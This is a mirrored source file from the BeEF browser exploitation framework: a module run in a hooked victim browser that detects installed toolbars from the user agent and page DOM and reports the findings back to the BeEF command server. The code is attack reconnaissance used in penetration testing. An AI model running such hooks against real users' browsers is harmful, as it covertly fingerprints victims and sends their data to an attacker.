Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/detect_toolbars/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var toolbar_ua = new Array (
10
new Array (" Alexa Toolbar", " Alexa"),
11
new Array (" AskTbS-PV", " Ask"),
12
new Array (" BRI", " Bing"),
13
new Array (" GTB", " Google"),
14
new Array (" SU ", " Stumble Upon")
15
)
16
17
var toolbar_id = new Array (
18
new Array ("AlexaCustomScriptId", " Alexa")
19
)
20
21
var result = '';
22
var separator = ", ";
23
24
// CHECK USER-AGENT
25
for (var i = 0; i < toolbar_ua.length; i++) {
26
27
var agentRegex = new RegExp( toolbar_ua[i][0], 'g' );
28
29
if ( agentRegex.exec(navigator.userAgent) ) {
30
31
result += toolbar_ua[i][1] + separator;
32
33
}
34
}
35
36
// CHECK ELEMENT ID (DOM)
37
for (var i = 0; i < toolbar_id.length; i++) {
38
39
var element = document.getElementById( toolbar_id[i][0] );
40
41
if ( typeof(element) != 'undefined' && element != null ) {
42
43
result += toolbar_id[i][1] + separator;
44
45
}
46
}
47
48
// ENDING
49
if ( result != '' ) {
50
51
result = result.slice(0, -separator.length);
52
53
} else if ( result == '' ) {
54
55
result = " no toolbars detected";
56
57
}
58
59
beef.net.send("<%= @command_url %>", <%= @command_id %>, "toolbars="+result);
60
61
});
62